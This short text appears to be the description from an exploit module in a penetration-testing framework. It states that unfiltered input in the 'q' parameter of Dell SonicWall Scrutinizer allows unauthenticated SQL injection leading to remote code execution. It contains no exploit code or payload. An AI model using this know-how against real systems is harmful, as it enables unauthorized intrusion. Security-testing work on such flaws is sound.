     This module exploits a vulnerability found in Dell SonicWall Scrutinizer.
    While handling the 'q' parameter, the PHP application does not properly filter
    the user-supplied data, which can be manipulated to inject SQL commands, and
    then gain remote code execution.  Please note that authentication is NOT needed
    to exploit this vulnerability.
